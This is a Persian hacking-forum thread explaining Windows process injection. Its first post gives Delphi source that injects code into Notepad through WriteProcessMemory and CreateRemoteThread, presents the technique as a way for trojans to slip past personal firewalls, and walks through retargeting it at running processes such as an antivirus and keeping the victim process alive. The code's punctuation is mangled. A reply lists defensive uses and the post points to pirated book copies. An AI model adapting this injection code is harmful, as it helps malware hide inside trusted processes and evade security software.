امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
Process injection چیست ؟
نویسنده پیام
Di Di آفلاین
مدير بخش هك و كرك
*****

ارسال‌ها: 2,358
موضوع‌ها: 116
تاریخ عضویت: اسفند ۱۳۸۵

تشکرها : 1816
( 4046 تشکر در 1321 ارسال )
ارسال: #1
Process injection چیست ؟
تو ادبیات امنیت نرم افزار ، Process Injection به تزریق کد باینری به فضای آدرسی پروسه های دیگه گفته میشه . سیستمهای عامل مدرنی که از مدل Protected Mode استفاده میکنن ، برای هر پروسه با استفاده از ترکیب حافظه حقیقی و مجازی ، فضای آدرسی مستقلی رو تعریف میکنن که اجزاء یک پروسه ( توابع ، متغیر ها ، اشاره گر ها ، رفرنس ها ، کتابخانه های اشتراکی و ... ) داخل اون فضا آدرس دهی میشوند . پردازنده ، به نوبت ، کد ماشین رو بصورت جداگانه از هر فضای آدرسی دریافت و پردازش میکنه .

اگر تو کد ماشین یا متغیر یا سایر موجودیت های باینری مورد نظرت رو ، بدون اینکه بطور مستقیم متعلق به یک پروسه باشن ، به فضای آدرسی اون پروسه تزریق کنی ، یک Process Injection انجام دادی .



کاربرد ضد امنیتی آن و...



اغلب فایروال های شخصی ، Access Control رو مبتنی بر پروسه فراخوان کد انجام میدهند . یعنی اگر فراخوانی کدی از طریق پروسه قابل اعتماد IExplorer.exe ( مرورگر ویندوز ) انجام شده باشه ، فایروال اجازه ایجاد اتصال شبکه رو میده و اگر نه ، خیر . یک تروجان ، برای اتصال به شبکه ، با وجود یک فایروال شخصی توفیق چندانی نخواهد داشت ، اما با استفاده از یک Process Injection ساده و تزریق کد باینری مورد نظر برای ایجاد اتصال شبکه ای ، به فضای پروسه IExplorer.exe میتونه فایروال رو دور بزنه .



یک مثال برای درک مفهوم :



کد php:
program Project1;

{
$IMAGEBASE $13140000}

uses
  Windows
;

function 
Main(dwEntryPointPointer): longwordstdcall;
begin
  
{grzebiemy w notatniku}
  
LoadLibrary('kernel32.dll');
  
LoadLibrary('user32.dll');
  
MessageBox(0'Czesc, teraz jestem tu w pamieci jako inny proces!'':P'0);
  
MessageBox(0'Teraz mozemy tu robic co chcemy'':P'0);
  
MessageBox(0'Nawet jezeli skasujesz *.exe, ja tu pozostane'':P'0);
  
MessageBox(0'skasuj mnie (plik *.exe)'':P'0);
  
MessageBox(0'widzisz?'':P'0);
  
MessageBox(0'mowilem Ci'':P'0);
  
MessageBox(0'Dobra, PAPA.'':P'0);
  
MessageBox(0'Notatnik sam zamkne za Ciebie ;)'':P'0);
  
ExitProcess(0);
  
Result := 0;
end;

procedure Inject(ProcessHandlelongwordEntryPointpointer);
var
  
ModuleNewModulePointer;
  
SizeBytesWrittenTIDlongword;
begin
  Module 
:= Pointer(GetModuleHandle(nil));
  
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
  
VirtualFreeEx(ProcessHandleModule0MEM_RELEASE);
  
NewModule := VirtualAllocEx(ProcessHandleModuleSizeMEM_COMMIT or MEM_RESERVEPAGE_EXECUTE_READWRITE);
  
WriteProcessMemory(ProcessHandleNewModuleModuleSizeBytesWritten);
  
CreateRemoteThread(ProcessHandlenil0EntryPointModule0TID);
end;

var
  
ProcessHandlePIDlongword;
  
StartupInfoTStartupInfo;
  
ProcessInfoTProcessInformation;

begin
  
{zaczynamy nowy proces}
  
CreateProcess(nil'notepad'nilnilFalse0nilnilStartupInfoProcessInfo);
  {
dajemy mu troszke czasu}
  
Sleep(500);
  {
no i wchodzimy w inna aplikacje :)}
  
GetWindowThreadProcessId(FindWindow('Notepad'nil), @PID);
  
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESSFalsePID);
  
Inject(ProcessHandle, @Main);//oto nasza procedura "wsadowa"
  
CloseHandle(ProcessHandle);
  
//i to wszystko :)
//oprocz notatnika mozemy wykorzystac kazda uruchomiona w windowsie...
end



تابع Main در بدنه پروسه قربانی اجرا میشه . نسخه اصلی کد با دریافت نقطه شروع خودش رو تنظیم میکنه لیکن انتشارش لزومی نداشت . بعد از ورود به کانتکست پروسه Notepad چند پیام نمایش داده میشه که نشاندهنده موفقیت آمیز بودن روند تزریق کد است


روتین Inject کد مورد نظر رو تزریق میکنه . به عنوان ورودی پروسه مورد نظر رو در نقش قربانی دریافت ، نقطه مناسب برای شروع کد تزریقی رو پیدا و با روشهای گفته شده در صفحه قبل فضای لازم برای ایجاد یک ریسمان راه دور رو به خودش اختصاص میده .


بدنه اصلی برنامه ابتدا یک نسخه از Notepad به عنوان مثال میسازد ، شماره پروسه رو دریافت و به روتین Inject ارسال میکنه . این روتین ، تابع Main رو به فضای آدرسی Notepad کپی میکنه . حالا کد ِ در حال اجرا ارتباطی با برنامه ساخته شده توسط ما نداره و روی حافظه مختص به Notepad اجرا میشه .


حالا به چه صورت ميشه متوجه شد نرم افزاري که اجرا نشده در چه فضايي اجرا ميشه؟ ابتدا هندل پروسه مورد نظرم - اينجا Notepad - رو بدست آوردم بعد فضاي مورد نظرم رو اختصاص دادم نهايتا" يك Remote Thread براي اجراي كد مطلوب ايجاد شده است .

براي مطالعه بيشتر در مورد جزئيات و الفباي كاركرد عناصر ويندوز خصوصا" با ديد توسعه كاربردهاي سيستمي و امنيتي كتاب Windows Internals مارك راشنوويچ از M$ Press رو بخون . قيمت نسخهء چاپي اش كه تهيه اون رو شديدا" توصيه ميكنم حدود 50 دلار است و نسخه الكترونيكي ش هم بصورت Warez منتشر شده است .




برای اینکه بتونید از این کدها استفاده کنید ، ابتدا باید کمی اونها رو تغییر بدید :


اين قسمت از سورس را حذف کنيد :

کد php:
{lets make a new process
CreateProcess(nil'notepad'nilnilFalse0nilnilStartupInfoProcessInfo); 
{
give it some time to wake up


اين تابع يک نوت پد ايجاد ميکرد ... که ما ديگه باهاش کاي نداريم و بعد قسمت بعدي که بايد تغيير بديم

کد php:
GetWindowThreadProcessId(FindWindow('Notepad'nil), @PID); 

اين تابع بايد يه شکل زير نوشته شود.
کد php:
H:= FindWindow(nil,'power Meter'); 

توجه داشته باشین که nil اینبار در ابتدای شروع تابع نوشته شده.

کد php:
GetWindowThreadProcessId(H, @PID); 


البته مي شد هر دو تابع را در يک خط هم نوشت . براي اينکه سورس راحت تر قابل خوندن باشه و زياد با هم قاطي نکنيم به اين صورت تغيير دادم يادتون هم باشه که يک متغير به نام H از نوع HWND تعيريف کنيد

کد php:
Var 
H:HWND


من براي اينجکت نام Power meter که در ويندوز به طور پيش فرض هميشه فعال هست استفاده کردم ميتويند نامهاي ديگري مثل Symantec AntiVirus هم استفاده کنيد ، براي اينکه چک کنيد تابع داره درست مسير دهي ميشه ميتونيد مقدار بازگشتي H را هم نشون بديد مثلا

کد php:
Label1.Caption := Inttostr)H); 


اگر مقداري غير از صفر بود يعني درسته .. اگر هم مقدار صفر بود يعني هندل مورد نظر پيدا نشده ! در ضمن ميتونيد در قسمت MAIN تابع

کد php:
ExitProcess(0); 

را حذف کنيد که برنامه اي که اينجکت ميشه خاتمه پيدا نکنه و به کار عادي خودش ادامه بده .....

موفق باشید

۰۳-اسفند-۱۳۸۶, ۱۴:۴۰:۱۲
وب سایت ارسال‌ها
پاسخ
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #2
RE: Process injection چیست ؟
به به جناب didi زدی تو کار دلفی؟موفق باشی
کاربرد اصلی و عام Process Injection ، توسعهء برنامه های مرتبط با Access Control است . برنامه های مثبت ، با استفاده از این تکنیک و با تزریق یک کد محافظ به فضای آدرسی پروسه های سرور یا سرویس ( inetinfo.exe یا svchost.exe و ... ) سعی میکنن این پروسه ها رو از گزند تلاشهای مخرب و کدهای مخرب ( Exploit ) ایمن نگه دارن . برنامه های منفی با استفاده از Process Injection به مقاصد شومی مثل عبور از فایروالهای شخصی و فریب دادن آنتی ویروسها خواهند رسید .

مثال مثبت : زون آلارم ، با تزریق کد که اجرای کد باینری از طریق بخش Data ی Stack رو ممنوع میکنه ، به داخل فضای پروسه هائی مثل Services.exe از اونها نگهداری میکنه . این یه نمونه کاربرد مثبت Process Injection است .

مثال منفی : اغلب فایروالهای شخصی ، Access Control رو مبتنی بر پروسهء فراخوان ِ کد انجام میدن . یعنی اگر فراخوانی کدی از طریق پروسهء قابل اعتماد IExplorer.exe ( مرورگر ویندوز ) انجام شده باشه ، فایروال اجازه ایجاد اتصال شبکه رو میده و اگر نه ، خیر . یک تروجان ، برای اتصال به شبکه ، با وجود یک فایروال شخصی توفیق چندانی نخواهد داشت ، اما با استفاده از یک Process Injection ساده و تزریق کد باینری مورد نظر برای ایجاد اتصال شبکه ای ، به فضای پروسهء IExplorer.exe میتونه فایروال رو دور بزنه
ویندوز 2003 سرور به عنوان یکی از معدود سیستمهای عاملی که روی IA32 میتونه تا حدود 4 گیگ آدرس دهی بکنه ، هم از Process Injection برای افزایش کیفیت و کارائی اش استفاده کرده . ویژگی HotPatch موجود در ویندوز 2003 دقیقا" از همین قابلیت استفاده میکنه . با تشکر از این تکنیک ، در صورت کشف یک نقطه ضعف امنیتی روی یک سرویس خاص ( مثلا" IIS 6 ) شما برای نصب Patch اون لازم نیست سرویس رو متوقف کنین . Patch با استفاده از سرویس HotPatch یک نسخه از خودش رو روی Image سرویس در هارد دیسک بازنویسی میکنه و یک نسخه از تصحیحات لازم رو بصورت زنده ( Process Injection ) روی سرویس در حال اجرا و سرویسدهی اعمال میکنه . به این ترتیب دفعه بعدی که سرویس اجرا میشه ، از یک نسخه امن استفاده میکنه مضاف بر اینکه ، همین حالا هم با اعمال زندهء تغییرات روی نسخهء در حال اجرای سرویس در فضای آدرسی مخصوص به خودش ، نقطه ضعف امنیتی بر طرف شده
(آخرین ویرایش در این ارسال: ۰۳-اسفند-۱۳۸۶, ۱۸:۲۳:۲۰، توسط lord_viper.)
۰۳-اسفند-۱۳۸۶, ۱۸:۰۷:۵۱
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : Di Di


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  [آموزشی] تحلیل آسیب پذیری content injection vulnerability in wordpress nImaarek 0 1,599 ۱۰-مرداد-۱۳۹۶, ۲۲:۱۴:۳۹
آخرین ارسال: nImaarek
  باگ چیست و باگ در سیستم عامل ویندوز 7 mohammadkiani 9 12,106 ۲۶-اسفند-۱۳۹۱, ۱۴:۳۲:۵۰
آخرین ارسال: aKaReZa75
  مخفي كردن پردازه(process) Jman 2 3,011 ۱۸-مرداد-۱۳۸۴, ۱۱:۲۴:۳۸
آخرین ارسال: behzad-khazama

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS